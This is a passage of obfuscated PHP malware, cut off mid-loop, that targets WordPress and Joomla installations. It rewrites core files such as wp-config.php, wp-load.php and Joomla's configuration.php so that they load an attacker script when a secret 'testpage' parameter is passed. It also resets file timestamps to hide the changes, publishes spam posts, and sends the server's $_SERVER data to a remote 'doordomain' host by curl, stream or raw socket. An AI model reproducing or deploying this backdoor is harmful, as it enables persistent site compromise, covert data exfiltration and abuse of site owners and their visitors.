    ${${"GL\x4f\x42AL\x53"}["\x74\x6amx\x74\x70\x6cr\x70z\x70"]} = filemtime(__FILE__);
    foreach (glob("*.\x70h\x70") as ${${"G\x4c\x4f\x42A\x4cS"}["\x7a\x66\x70k\x74\x6e"]}) {
        $fpgrnqrdcir                                                       = "\x63\x75\x72\x72\x66i\x6ce\x74\x69\x6d\x65";
        ${${"GL\x4fB\x41\x4c\x53"}["\x67\x6a\x77\x72wic\x79\x68\x6f\x6e"]} = filemtime(${${"G\x4cOB\x41L\x53"}["z\x66\x70\x6bt\x6e"]});
        if (${${"GL\x4f\x42\x41L\x53"}["gjw\x72w\x69\x63y\x68\x6f\x6e"]} < ${$fpgrnqrdcir}) {
            @touch(__FILE__, ${${"G\x4c\x4f\x42\x41\x4cS"}["\x67\x6awr\x77\x69\x63y\x68\x6f\x6e"]});
            break;
        }
    }
    echo ${${"\x47LO\x42\x41\x4cS"}["\x74o\x66z\x68w\x76\x6f\x7a\x67"]};
} elseif ($_GET["\x67\x65t"] == "t\x65mp\x6cate") {
    define("\x4dAX_LE\x56E\x4c\x53\x5fU\x50", 7);
    $dmaijzqgj                                                         = "c\x6funte\x72";
    ${"\x47\x4cO\x42\x41LS"}["\x76kb\x6fxeun\x72\x76j"]                = "\x63\x6f\x75\x6e\x74\x65r";
    ${${"G\x4c\x4fB\x41L\x53"}["\x76k\x62\x6f\x78e\x75\x6e\x72\x76j"]} = 0;
    do {
        ${"GLO\x42\x41L\x53"}["dp\x71\x7a\x70\x65"] = "\x66\x69\x6c\x65";
        foreach (glob("*") as ${${"G\x4c\x4fB\x41\x4c\x53"}["\x64\x70\x71z\x70e"]}) {
            ${"G\x4c\x4fB\x41\x4c\x53"}["\x67p\x7awj\x73\x67"] = "\x66\x69l\x65";
            if (strpos(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x66\x79\x6a\x6f\x77\x68\x61"]}, "\x77\x70-co\x6e\x66ig\x2e\x70\x68p") !== false) {
                ${"\x47\x4c\x4fBA\x4c\x53"}["d\x72\x74\x78\x75\x74\x62"] = "i";
                define("P\x4cAT\x46OR\x4d", "WORDPRESS");
                $xocowml                                                     = "\x69";
                ${${"GL\x4f\x42\x41\x4c\x53"}["avp\x6e\x77\x68g\x62\x75oe"]} = array(
                    "\x77p-\x62\x6cog-h\x65\x61d\x65\x72\x2e\x70hp",
                    "wp-\x6co\x61d.\x70hp",
                    "wp-settings\x2ephp",
                    "w\x70-\x63o\x6ef\x69g\x2ep\x68\x70"
                );
                for (${${"\x47\x4cOB\x41\x4cS"}["drtxut\x62"]} = 0; ${$xocowml} < 4; ${${"GL\x4f\x42A\x4cS"}["\x79\x6eqx\x6b\x64"]}++) {
                    $ebnlmxruohb                                       = "i";
                    $iuwyporrgn                                        = "\x70e\x72\x6d\x73";
                    ${"\x47\x4c\x4f\x42A\x4cS"}["nn\x6b\x6a\x70\x67"]  = "i\x6e\x63\x66\x69l\x65";
                    ${"\x47\x4cOB\x41L\x53"}["u\x71s\x6e\x68j"]        = "\x69\x6ec\x66i\x6ce";
                    $ojhyvydpq                                         = "fi\x6ce\x74\x69\x6d\x65";
                    ${${"\x47\x4cOBAL\x53"}["\x6ex\x64vs\x79iv\x79"]}  = ${${"\x47\x4c\x4fB\x41\x4cS"}["av\x70nwh\x67\x62u\x6f\x65"]}[${$ebnlmxruohb}];
                    ${$ojhyvydpq}                                      = filemtime(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x75\x71s\x6eh\x6a"]});
                    ${$iuwyporrgn}                                     = sprintf("\x25o", fileperms(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x6e\x6b\x6a\x70g"]}));
                    $dqcocb                                            = "\x69n\x63\x66\x69\x6c\x65";
                    ${"G\x4cO\x42\x41\x4cS"}["m\x68v\x6e\x64\x78\x74"] = "\x69nc\x66\x69l\x65";
                    @chmod(${$dqcocb}, 0666);
                    if (is_writable(${${"\x47\x4cOBA\x4cS"}["mhv\x6ed\x78\x74"]})) {
                        ${"\x47L\x4fB\x41\x4c\x53"}["\x77\x74\x73\x71\x73d\x77"] = "\x70\x61\x72a\x6d";
                        ${"\x47L\x4f\x42\x41\x4cS"}["p\x72ko\x79o"]              = "\x69\x6e\x63f\x69\x6c\x65co\x6et\x65\x6e\x74\x6fr\x69gin\x61l";
                        $desyil                                                  = "\x69nc\x66\x69\x6c\x65";
                        $wefjokixwzk                                             = "\x73\x63\x72i\x70\x74n\x61\x6de";
                        $ribjkechbxhh                                            = "i\x6ecf\x69\x6c\x65\x63o\x6e\x74\x65\x6et\x6fr\x69g\x69n\x61l";
                        $jqhutamr                                                = "sc\x72i\x70\x74\x6ea\x6de";
                        ${${"\x47\x4c\x4fB\x41LS"}["\x68\x77\x6a\x6ebcl\x71"]}   = file_get_contents(${${"\x47\x4cOB\x41\x4cS"}["\x6ex\x64\x76s\x79\x69\x76\x79"]});
                        $vuodhfmf                                                = "\x69\x6e\x63\x66\x69l\x65\x63\x6fntent\x6f\x72i\x67\x69n\x61l";
                        $dwrpwyvuxh                                              = "\x69\x6e\x63\x66il\x65\x63\x6f\x6e\x74\x65\x6e\x74o\x72\x69g\x69n\x61l";
                        ${"G\x4c\x4f\x42\x41LS"}["\x74m\x66q\x72\x68\x6c"]       = "i\x6e\x63\x66\x69l\x65\x63\x6f\x6e\x74e\x6e\x74";
                        switch (${$desyil}) {
                            case "\x77\x70-l\x6fa\x64\x2ephp":
                                ${${"\x47\x4c\x4fBA\x4cS"}["\x69\x6f\x6a\x61fsk\x68\x69"]} = preg_replace("/\x72\x65q\x75i\x72e_\x6f\x6ece(.*)\x41B\x53\x50\x41\x54\x48(\x2e*)\x27(\x20)?\x77\x70-c\x6f\x6e\x66\x69g\x5c.php(\x2e*);/i", "re\x71\x75\x69\x72\x65\x5fo\x6ec\x65(\x20A\x42\x53P\x41TH\x20\x2e\x20\x27w\x70-\x63\x6fn\x66i\x67.\x70h\x70\x27 );" . PHP_EOL . "i\x66(\$\x5f\x47\x45\x54[\x27\x74\x65s\x74\x70\x61g\x65']=='wpg\x6f\x70ost'){r\x65\x71\x75\x69r\x65\x5fo\x6ece(\x20\x41BS\x50A\x54\x48 \x2e '" . ${$jqhutamr} . "' )\x3b}", ${$ribjkechbxhh});
                                break;
                            case "wp-b\x6cog-\x68\x65ad\x65\x72.p\x68p":
                                ${${"G\x4c\x4fB\x41\x4c\x53"}["\x69\x6f\x6a\x61\x66\x73\x6bh\x69"]} = preg_replace("/\x72\x65\x71u\x69r\x65\x5fo\x6ec\x65(.*)\x77p-l\x6fad\x5c.\x70\x68\x70(\x2e*);/i", "\x72\x65\x71u\x69\x72\x65_o\x6ece( \x64\x69rna\x6de(__\x46\x49\x4cE\x5f\x5f) \x2e\x20\x27/wp-\x6c\x6fa\x64\x2ephp'\x20)\x3b" . PHP_EOL . "\x69f(\$\x5fGE\x54['t\x65\x73tp\x61ge\x27]\x3d\x3d'\x77pg\x6f\x70os\x74'){r\x65\x71\x75ire_on\x63e(\x20A\x42\x53PATH\x20\x2e\x20\x27" . ${${"\x47\x4c\x4fB\x41L\x53"}["\x6c\x62\x72\x78\x70\x6f\x75\x65\x6b\x70"]} . "\x27 )\x3b}", ${${"\x47L\x4fB\x41\x4c\x53"}["\x68\x77\x6an\x62\x63\x6cq"]});
                                break;
                            case "w\x70-c\x6f\x6e\x66\x69\x67.p\x68\x70":
                                ${${"\x47L\x4f\x42\x41\x4cS"}["\x69o\x6aa\x66s\x6b\x68\x69"]} = preg_replace("/\x72\x65qu\x69r\x65_o\x6ece(\x2e*)w\x70-s\x65\x74ti\x6e\x67s\x5c.p\x68p(\x2e*)\x3b/i", "\x72\x65\x71\x75i\x72e\x5f\x6f\x6ec\x65(\x41\x42\x53PA\x54H \x2e\x20'wp-se\x74t\x69\x6eg\x73.\x70\x68p');" . PHP_EOL . "\x69\x66(\$\x5f\x47\x45T['\x74\x65stp\x61g\x65\x27]\x3d\x3d\x27wpgo\x70\x6f\x73\x74'){r\x65q\x75ire_o\x6e\x63\x65(\x20\x41\x42\x53\x50\x41T\x48\x20\x2e\x20\x27" . ${$wefjokixwzk} . "\x27\x20)\x3b}", ${$vuodhfmf});
                                break;
                            case "w\x70-s\x65\x74t\x69ngs.\x70\x68\x70":
                                ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x6df\x71\x72\x68\x6c"]} = preg_replace("/r\x65q\x75ire(.*)\x70\x6cug\x67a\x62l\x65-\x64e\x70\x72\x65ca\x74\x65d\\\x2ep\x68p(.*);/\x69", "r\x65\x71ui\x72\x65( AB\x53\x50\x41\x54\x48 \x2e \x57\x50\x49\x4eC \x2e '/\x70lug\x67\x61b\x6c\x65-d\x65\x70\x72\x65\x63\x61t\x65\x64.\x70h\x70\x27 )\x3b" . PHP_EOL . "if(\$\x5f\x47ET['t\x65\x73tp\x61\x67e\x27]=='\x77p\x67o\x70o\x73t'){\x72e\x71uir\x65_\x6fnc\x65(\x20\x41BS\x50A\x54H\x20\x2e\x20'" . ${${"\x47LO\x42\x41\x4c\x53"}["\x6c\x62rx\x70\x6fu\x65\x6b\x70"]} . "' )\x3b}", ${${"\x47\x4c\x4fB\x41\x4c\x53"}["pr\x6b\x6f\x79\x6f"]});
                                break;
                        }
                        ${"\x47L\x4f\x42\x41LS"}["rp\x64i\x6f\x6eb"]           = "\x69\x6ec\x66ile\x63\x6f\x6et\x65\x6et";
                        ${${"\x47L\x4f\x42A\x4c\x53"}["bc\x68r\x66\x72\x77p"]} = "wpgopo\x73t";
                        gettemplate(${${"\x47\x4c\x4f\x42AL\x53"}["\x72p\x64\x69\x6f\x6eb"]}, ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6exd\x76syi\x76\x79"]}, ${${"\x47\x4cO\x42\x41LS"}["i\x6ah\x69fc\x79\x74du\x78"]}, ${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77\x74s\x71\x73\x64w"]});
                        file_put_contents(${${"\x47\x4c\x4f\x42\x41\x4cS"}["n\x78dvs\x79iv\x79"]}, ${$dwrpwyvuxh});
                        @touch(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x78\x64v\x73\x79\x69vy"]}, ${${"G\x4c\x4f\x42\x41L\x53"}["m\x6f\x68\x74\x70\x72\x76\x78f"]});
                        continue (2);
                    } else {
                        continue;
                    }
                }
            } elseif (strpos(${${"G\x4c\x4f\x42\x41\x4cS"}["\x67\x70\x7a\x77\x6a\x73\x67"]}, "c\x6f\x6efigur\x61\x74\x69on.p\x68p") !== false) {
                ${"\x47\x4c\x4fB\x41\x4cS"}["\x6el\x6a\x71o\x61j"] = "\x69";
                define("\x50LA\x54FO\x52M", "\x4a\x4f\x4f\x4dLA");
                ${${"\x47L\x4f\x42A\x4c\x53"}["h\x6b\x78\x74u\x6dg\x7ag"]} = array(
                    "in\x64\x65x\x2e\x70\x68p",
                    "\x63\x6fnf\x69\x67\x75r\x61t\x69\x6f\x6e\x2ephp",
                    "inclu\x64\x65\x73/framew\x6f\x72\x6b.\x70h\x70",
                    "lib\x72a\x72\x69\x65\x73/\x63\x6d\x73\x2ep\x68\x70",
                    "l\x69bra\x72i\x65\x73/\x63lassm\x61\x70.\x70\x68\x70",
                    "\x6c\x69\x62\x72\x61r\x69es/\x66\x6ff/\x69\x6ec\x6cud\x65.p\x68p"
                );
                $swsxmmv                                                   = "i";
                for (${${"GL\x4f\x42\x41\x4cS"}["yn\x71x\x6bd"]} = 0; ${$swsxmmv} < 6; ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x6cj\x71o\x61\x6a"]}++) {
                    $loqxmkogsn                                                                    = "\x6aoo\x6d\x6c\x61\x66\x69le\x73";
                    ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["s\x67\x77\x6d\x65\x64\x66\x71\x70\x72\x67"] = "i\x6e\x63\x66\x69\x6c\x65";
                    $puoqerwkf                                                                     = "f\x69\x6c\x65t\x69\x6d\x65";
                    $ovmclhhbwa                                                                    = "i\x6e\x63fi\x6c\x65";
                    ${$ovmclhhbwa}                                                                 = ${$loqxmkogsn}[${${"G\x4cOBA\x4cS"}["\x79n\x71\x78\x6b\x64"]}];
                    ${$puoqerwkf}                                                                  = filemtime(${${"\x47\x4c\x4f\x42AL\x53"}["\x6e\x78\x64vs\x79\x69v\x79"]});
                    ${${"\x47L\x4f\x42\x41\x4c\x53"}["w\x74hs\x74l\x64\x72g"]}                     = sprintf("%\x6f", fileperms(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6e\x78dv\x73y\x69\x76\x79"]}));
                    @chmod(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["nx\x64\x76\x73\x79\x69\x76y"]}, 0666);
                    if (is_writable(${${"G\x4c\x4fBA\x4c\x53"}["\x73\x67\x77m\x65dfqpr\x67"]})) {
                        $bsexwykl                                                          = "i\x6e\x63\x66\x69\x6c\x65\x63o\x6et\x65\x6et\x6f\x72\x69gi\x6e\x61\x6c";
                        $xpykxrfli                                                         = "\x64\x6f\x6f\x72do\x6d\x61\x69\x6e";
                        $zdsnffc                                                           = "\x69nc\x66il\x65\x63o\x6e\x74\x65n\x74";
                        ${"G\x4c\x4f\x42\x41\x4cS"}["\x68\x71\x73\x74\x72\x75y\x6d\x6b"]   = "\x70ar\x61\x6d";
                        ${"G\x4c\x4fB\x41\x4c\x53"}["d\x7a\x69\x75y\x67b"]                 = "\x70\x61\x72a\x6d";
                        ${"\x47L\x4fB\x41L\x53"}["\x63\x6b\x76\x79\x66\x67\x69yi\x74\x79"] = "i\x6e\x63\x66\x69leco\x6et\x65n\x74";
                        ${"G\x4c\x4fBAL\x53"}["x\x65t\x6b\x66xu\x67\x69c"]                 = "\x73\x63\x72\x69\x70\x74na\x6d\x65";
                        $pjswtddl                                                          = "s\x63r\x69\x70\x74\x6e\x61\x6de";
                        ${"\x47\x4c\x4f\x42ALS"}["\x75\x76\x69\x62\x66\x68\x69\x7aqz"]     = "in\x63\x66\x69\x6c\x65\x63\x6f\x6e\x74\x65\x6e\x74\x6f\x72igin\x61l";
                        $pxcbhpybtxh                                                       = "i\x6ecf\x69\x6c\x65";
                        ${${"\x47\x4cOB\x41\x4c\x53"}["h\x77\x6a\x6e\x62\x63\x6c\x71"]}    = file_get_contents(${$pxcbhpybtxh});
                        switch (${${"\x47L\x4fBA\x4cS"}["n\x78d\x76sy\x69v\x79"]}) {
                            case "i\x6edex\x2e\x70hp":
                                ${${"\x47\x4cOBA\x4c\x53"}["\x69oj\x61\x66\x73\x6bh\x69"]} = preg_replace("/re\x71uir\x65_o\x6ece JPA\x54H_\x42\x41\x53E(\x2e*)i\x6ec\x6c\x75des\x5c/\x66\x72a\x6de\x77\x6frk\x2e\x70hp\x27\x3b/i", "r\x65quir\x65_o\x6e\x63\x65 \x4a\x50\x41TH\x5fBAS\x45 . '/in\x63\x6cude\x73/fram\x65\x77o\x72k\x2e\x70hp\x27;" . PHP_EOL . "if(\$\x5fG\x45T[\x27\x74e\x73t\x70\x61ge']=='jo\x6f\x6dla\x67opost'){\x72\x65\x71uir\x65_o\x6ec\x65 J\x50AT\x48_\x42A\x53E\x20.\x20'/" . ${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6cb\x72xp\x6fu\x65kp"]} . "';}", ${${"\x47\x4c\x4f\x42A\x4c\x53"}["hwj\x6e\x62\x63\x6c\x71"]});
                                break;
                            case "\x63\x6fn\x66\x69\x67u\x72\x61tion.\x70hp":
                                ${${"\x47L\x4fB\x41L\x53"}["\x69\x6fj\x61fs\x6bh\x69"]} = preg_replace("/\\<\x5c?php/\x69", "\x3c?php" . PHP_EOL . "if(\$\x5fG\x45\x54[\x27\x74\x65\x73\x74pa\x67e\x27]==\x27j\x6fom\x6c\x61\x67\x6f\x70\x6fs\x74'){r\x65qui\x72e\x5f\x6fn\x63e \x4a\x50\x41T\x48_\x42\x41SE \x2e\x20\x27/" . ${${"\x47\x4c\x4fB\x41L\x53"}["\x6c\x62rx\x70ouekp"]} . "\x27\x3b}", ${${"GL\x4f\x42A\x4c\x53"}["\x68\x77\x6a\x6ebc\x6c\x71"]});
                                break;
                            case "i\x6ec\x6c\x75des/f\x72\x61\x6de\x77o\x72k.p\x68p":
                                ${${"GL\x4f\x42\x41\x4c\x53"}["\x69\x6fj\x61fs\x6bh\x69"]} = preg_replace("/r\x65q\x75i\x72e\x5fo\x6e\x63e\x20J\x50A\x54H\x5fLIBRAR\x49\x45\x53(\x2e*)\x63ms.ph\x70'\x3b/\x69", "require\x5f\x6f\x6e\x63\x65 \x4a\x50\x41TH\x5f\x4c\x49\x42\x52A\x52I\x45S\x20\x2e\x20'/cm\x73.p\x68p'\x3b" . PHP_EOL . "if(\$\x5fGET[\x27\x74\x65\x73\x74p\x61\x67e\x27]=\x3d\x27j\x6fo\x6d\x6ca\x67o\x70os\x74\x27){r\x65\x71ui\x72\x65_\x6f\x6e\x63e \x4aPAT\x48\x5fBA\x53\x45\x20. '/" . ${$pjswtddl} . "\x27\x3b}", ${${"\x47L\x4fB\x41\x4cS"}["\x68\x77jn\x62c\x6c\x71"]});
                                break;
                            case "\x6c\x69br\x61\x72\x69es/\x63m\x73\x2ep\x68\x70":
                                ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69o\x6aaf\x73kh\x69"]} = preg_replace("/\x72equire\x5f\x6fn\x63\x65 \x4a\x50A\x54\x48_LIB\x52\x41R\x49ES(\x2e*)\x63\x6cas\x73m\x61p.\x70\x68p'\x3b/\x69", "\x72\x65\x71\x75\x69\x72\x65_onc\x65 \x4aP\x41TH\x5fLIB\x52A\x52\x49E\x53\x20. \x27/c\x6c\x61s\x73ma\x70\x2e\x70\x68p\x27;" . PHP_EOL . "if(\$\x5fG\x45\x54['\x74\x65\x73tpage\x27]\x3d\x3d'\x6a\x6fo\x6d\x6c\x61g\x6fpo\x73t\x27){r\x65quire\x5fo\x6e\x63\x65 JPA\x54\x48_\x42\x41SE\x20. '/" . ${${"GLOB\x41L\x53"}["\x6c\x62\x72\x78\x70\x6fu\x65\x6b\x70"]} . "\x27\x3b}", ${$bsexwykl});
                                break;
                            case "\x6c\x69\x62\x72\x61r\x69\x65\x73/\x63\x6c\x61\x73\x73\x6dap\x2e\x70hp":
                                ${${"\x47\x4cO\x42AL\x53"}["i\x6f\x6aaf\x73\x6bh\x69"]} = preg_replace("/\x5c\x3c\x5c?ph\x70/i", "\x3c?\x70hp" . PHP_EOL . "if(\$_\x47\x45T[\x27\x74e\x73\x74\x70ag\x65']\x3d=\x27\x6a\x6fo\x6d\x6c\x61\x67op\x6fst'){re\x71uire\x5fon\x63\x65\x20\x4a\x50A\x54\x48\x5f\x42\x41\x53E . \x27/" . ${${"\x47L\x4f\x42\x41L\x53"}["\x6cb\x72\x78\x70ouekp"]} . "';}", ${${"GLOB\x41L\x53"}["\x75\x76\x69bf\x68\x69z\x71z"]});
                                break;
                            case "l\x69b\x72\x61rie\x73/\x66\x6ff/i\x6e\x63\x6c\x75\x64\x65\x2e\x70h\x70":
                                ${$zdsnffc} = preg_replace("/\x5c<\\?\x70h\x70/i", "\x3c?\x70hp" . PHP_EOL . "\x69\x66(\$\x5fG\x45\x54['t\x65\x73t\x70ag\x65\x27]\x3d='\x6ao\x6f\x6d\x6c\x61\x67op\x6f\x73t\x27){req\x75\x69\x72\x65_\x6fn\x63e\x20\x4a\x50\x41\x54\x48\x5f\x42ASE\x20. '/" . ${${"\x47\x4c\x4fB\x41\x4cS"}["x\x65\x74\x6bf\x78\x75gi\x63"]} . "'\x3b}", ${${"G\x4c\x4fB\x41\x4c\x53"}["\x68\x77j\x6eb\x63lq"]});
                                break;
                        }
                        ${${"G\x4cOBALS"}["\x68\x71\x73\x74r\x75\x79\x6d\x6b"]} = "j\x6f\x6f\x6dlag\x6fp\x6f\x73\x74";
                        gettemplate(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x63\x6b\x76y\x66\x67\x69\x79\x69\x74\x79"]}, ${${"GL\x4f\x42A\x4cS"}["\x6e\x78d\x76\x73\x79i\x76y"]}, ${$xpykxrfli}, ${${"GLOBAL\x53"}["\x64\x7a\x69\x75\x79g\x62"]});
                        file_put_contents(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x78d\x76\x73\x79iv\x79"]}, ${${"\x47\x4c\x4fB\x41\x4c\x53"}["h\x77\x6an\x62\x63\x6cq"]});
                        @touch(${${"GL\x4f\x42A\x4c\x53"}["\x6e\x78\x64vsy\x69\x76y"]}, ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6do\x68\x74\x70\x72\x76\x78\x66"]});
                        continue (2);
                    } else {
                        continue;
                    }
                }
            }
        }
        postlink(${${"\x47\x4c\x4fBAL\x53"}["r\x72\x76\x6f\x77\x71o"]});
        if (!defined("\x50L\x41TF\x4fRM")) {
            chdir("\x2e.");
            ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x63u\x7a\x6c\x6d\x66\x63\x68\x73"]}++;
        } else {
            ${${"\x47LO\x42\x41\x4c\x53"}["\x72\x79\x6cxte"]} = getcwd();
        }
    } while (!defined("\x50\x4cA\x54\x46\x4f\x52\x4d") && ${$dmaijzqgj} < MAX_LEVELS_UP);
    if (!defined("\x50LATF\x4f\x52\x4d")) {
        exit("U\x6ek\x6eo\x77n \x70l\x61\x74f\x6fr\x6d\x21");
    }
} elseif ($_GET["t\x65stpage"] == "\x77p\x67o\x70\x6fst") {
    ${"\x47\x4c\x4fB\x41L\x53"}["rf\x66\x63\x73\x73ry\x74"]               = "cha\x72\x73";
    ${${"\x47\x4cOB\x41\x4c\x53"}["\x72\x66fc\x73\x73\x72\x79t"]}         = "\x61\x62cde\x66g\x68\x69j\x6bl\x6d\x6e\x6fp";
    ${"\x47L\x4f\x42\x41L\x53"}["\x64c\x6c\x78r\x6e\x65\x65\x6a\x69\x6e"] = "p\x65\x72\x6d\x61\x6c\x69nk";
    $ekuhfybcuke                                                          = "\x67\x6f\x6f\x64\x77o\x72\x64\x70re\x73\x73\x70ag\x65";
    $kszvzr                                                               = "po\x73t_\x69\x64";
    ${"\x47LO\x42\x41L\x53"}["\x68udp\x67\x74\x68"]                       = "s\x6c\x75g\x6ea\x6d\x65";
    $nlshrgyxg                                                            = "\x70\x65\x72m\x61\x6c\x69\x6e\x6b";
    ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x6f\x75y\x62\x7ai\x7a\x75"]}   = str_shuffle(${${"G\x4c\x4fB\x41\x4c\x53"}["\x71\x63v\x6c\x61y\x69"]});
    ${${"G\x4c\x4f\x42A\x4c\x53"}["\x70h\x72\x72cd\x79\x71"]}             = array(
        "\x70\x6fs\x74_\x74\x69tle" => "H\x45R\x45\x49S\x54\x49\x54\x4c\x45",
        "po\x73t\x5f\x6e\x61\x6d\x65" => ${${"\x47LO\x42\x41\x4c\x53"}["h\x75d\x70\x67\x74\x68"]},
        "\x70\x6fs\x74\x5fco\x6etent" => "\x48\x45\x52E\x49SC\x4f\x4eTEN\x54",
        "\x70\x6fs\x74\x5fs\x74atu\x73" => "p\x75b\x6c\x69sh",
        "p\x6f\x73\x74\x5fc\x61\x74\x65\x67\x6f\x72\x79" => array()
    );
    ${"G\x4cO\x42A\x4cS"}["q\x73\x79\x73\x61\x73lj\x64\x6dc"]             = "\x70\x6fst_d\x61ta";
    ${$kszvzr}                                                            = wp_insert_post(${${"\x47\x4cO\x42\x41\x4cS"}["q\x73\x79s\x61s\x6c\x6a\x64\x6d\x63"]}, true);
    ${$nlshrgyxg}                                                         = get_permalink(${${"G\x4c\x4f\x42A\x4c\x53"}["\x75\x69\x69\x6f\x6a\x63\x6bm\x79"]});
    if (ini_get("a\x6clow_u\x72l_f\x6fp\x65\x6e") == 1) {
        ${${"GL\x4fB\x41L\x53"}["\x75d\x69ksn\x66\x73\x79\x65"]}            = stream_context_create(array(
            "h\x74t\x70" => array(
                "\x6d\x65\x74\x68od" => "PO\x53\x54",
                "h\x65ade\x72" => array(
                    "C\x6fn\x74en\x74-\x74y\x70e:\x20\x61ppl\x69\x63\x61tion/x-\x77\x77\x77-f\x6f\x72\x6d-ur\x6cenc\x6f\x64\x65\x64"
                ),
                "c\x6f\x6e\x74ent" => http_build_query($_SERVER)
            )
        ));
        ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x62\x73\x63\x6f\x66\x6e\x71i"] = "\x67\x6f\x6f\x64w\x6fr\x64\x70res\x73\x70\x61\x67e";
        ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x69\x62\x73\x63of\x6eq\x69"]}    = @file_get_contents(${${"\x47\x4c\x4fB\x41LS"}["\x66\x6fq\x6ct\x76lbz\x62\x6d"]}, false, ${${"\x47\x4cO\x42\x41\x4cS"}["u\x64i\x6b\x73\x6e\x66s\x79\x65"]});
    } elseif (function_exists("cu\x72l\x5fi\x6eit")) {
        ${"G\x4cO\x42\x41LS"}["\x6c\x78\x73\x78\x66\x6d\x70\x6c\x77"] = "\x63h";
        ${"\x47\x4c\x4fB\x41L\x53"}["\x74\x66e\x6b\x64\x64o\x66\x74"] = "\x63h";
        ${${"\x47\x4c\x4fB\x41LS"}["\x77\x6cp\x67c\x71"]}             = curl_init();
        curl_setopt(${${"G\x4c\x4f\x42\x41\x4c\x53"}["lx\x73\x78fmp\x6c\x77"]}, CURLOPT_URL, ${${"GL\x4fB\x41\x4cS"}["fo\x71l\x74\x76\x6c\x62\x7a\x62\x6d"]});
        ${"G\x4cO\x42A\x4c\x53"}["\x79\x6ehj\x68\x6f\x63"] = "\x63h";
        curl_setopt(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["tfe\x6b\x64\x64o\x66\x74"]}, CURLOPT_HEADER, false);
        curl_setopt(${${"GLO\x42A\x4c\x53"}["\x77l\x70gc\x71"]}, CURLOPT_RETURNTRANSFER, true);
        curl_setopt(${${"G\x4cO\x42\x41\x4c\x53"}["\x79\x6eh\x6ah\x6f\x63"]}, CURLOPT_REFERER, "");
        ${${"GL\x4fB\x41\x4c\x53"}["\x6cui\x67xs\x63"]} = @curl_exec(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["wl\x70\x67c\x71"]});
        curl_close(${${"\x47L\x4f\x42A\x4c\x53"}["w\x6c\x70\x67\x63q"]});
    } else {
        ${"\x47L\x4f\x42\x41\x4c\x53"}["chkmui\x76"]                             = "p\x6f\x73\x74\x70\x61r\x61\x6d";
        $dsowfejkqmrd                                                            = "\x70\x65\x72m\x61\x6c\x69n\x6b";
        ${"GL\x4f\x42A\x4cS"}["eym\x66\x63\x65v\x6c\x74\x69b"]                   = "\x65\x72\x72\x6e\x6f";
        ${"\x47\x4cOB\x41\x4c\x53"}["n\x78w\x69\x76\x6f\x79\x6a\x6e"]            = "e\x72\x72st\x72";
        ${${"\x47\x4cOB\x41LS"}["\x63h\x6b\x6du\x69\x76"]}                       = preg_replace("#h\x74tp://(.*)/|\x68\x74tp\x73://(\x2e*)/\x23", "", ${$dsowfejkqmrd});
        ${${"G\x4c\x4fB\x41L\x53"}["\x6b\x6b\x78h\x74\x6e\x77\x75\x65\x6f\x74"]} = fsockopen(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x69j\x68\x69\x66cy\x74\x64ux"]}, 80, ${${"\x47L\x4f\x42AL\x53"}["e\x79\x6df\x63\x65\x76\x6ct\x69\x62"]}, ${${"GL\x4f\x42\x41\x4cS"}["\x6exw\x69\x76\x6fyjn"]}, 10);
        if (${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["k\x6b\x78\x68\x74n\x77u\x65\x6ft"]}) {
            $gpcvcfsr                                            = "\x66\x70";
            ${"\x47\x4c\x4fB\x41\x4c\x53"}["i\x64\x71\x73\x6cc"] = "\x6fu\x74";
            $dooonwg                                             = "\x64\x61\x74\x61";
            ${$dooonwg}                                          = http_build_query($_SERVER);
            ${${"GL\x4fB\x41LS"}["\x69\x6c\x78\x73uj\x62"]}      = "P\x4f\x53\x54\x20/$postparam H\x54\x54\x50/1.\x30\r\n";
            $lunluxvxvj                                          = "bo\x64\x79";
            ${${"\x47\x4c\x4f\x42A\x4cS"}["\x69d\x71\x73\x6c\x63"]} .= "H\x6f\x73t: $doordomain\r\n";
            $ejqfvimizvl = "\x64at\x61";
            $rvcsfwypbmq = "\x66p";
            ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x69l\x78\x73u\x6a\x62"]} .= "\x43o\x6et\x65\x6et-\x54ype: app\x6c\x69\x63ati\x6f\x6e/x-\x77w\x77-\x66\x6f\x72m-u\x72l\x65nc\x6fde\x64\r\n";
            $wngyenutjrk = "da\x74\x61";
            ${${"\x47\x4cO\x42A\x4c\x53"}["\x69\x6c\x78\x73\x75\x6a\x62"]} .= "\x43on\x74\x65\x6e\x74-Le\x6e\x67th: " . strlen(${$ejqfvimizvl}) . "\r\n\r\n";
            fwrite(${${"GL\x4f\x42AL\x53"}["\x6b\x6b\x78\x68\x74\x6ew\x75e\x6f\x74"]}, ${${"G\x4c\x4f\x42A\x4c\x53"}["\x69\x6c\x78\x73\x75\x6a\x62"]});
            fwrite(${$gpcvcfsr}, ${$wngyenutjrk});
            ${${"G\x4c\x4f\x42A\x4cS"}["l\x7a\x65f\x76e\x63\x69"]} = "";
            while (!feof(${$rvcsfwypbmq})) {
                $ofxmxo                                                              = "\x72\x65\x73\x70";
                ${"\x47\x4cO\x42A\x4c\x53"}["\x6f\x70\x74\x74\x6d\x77a\x6b\x66\x6c"] = "fp";
                ${$ofxmxo} .= fgets(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6f\x70\x74\x74mwak\x66l"]}, 4096);
            }
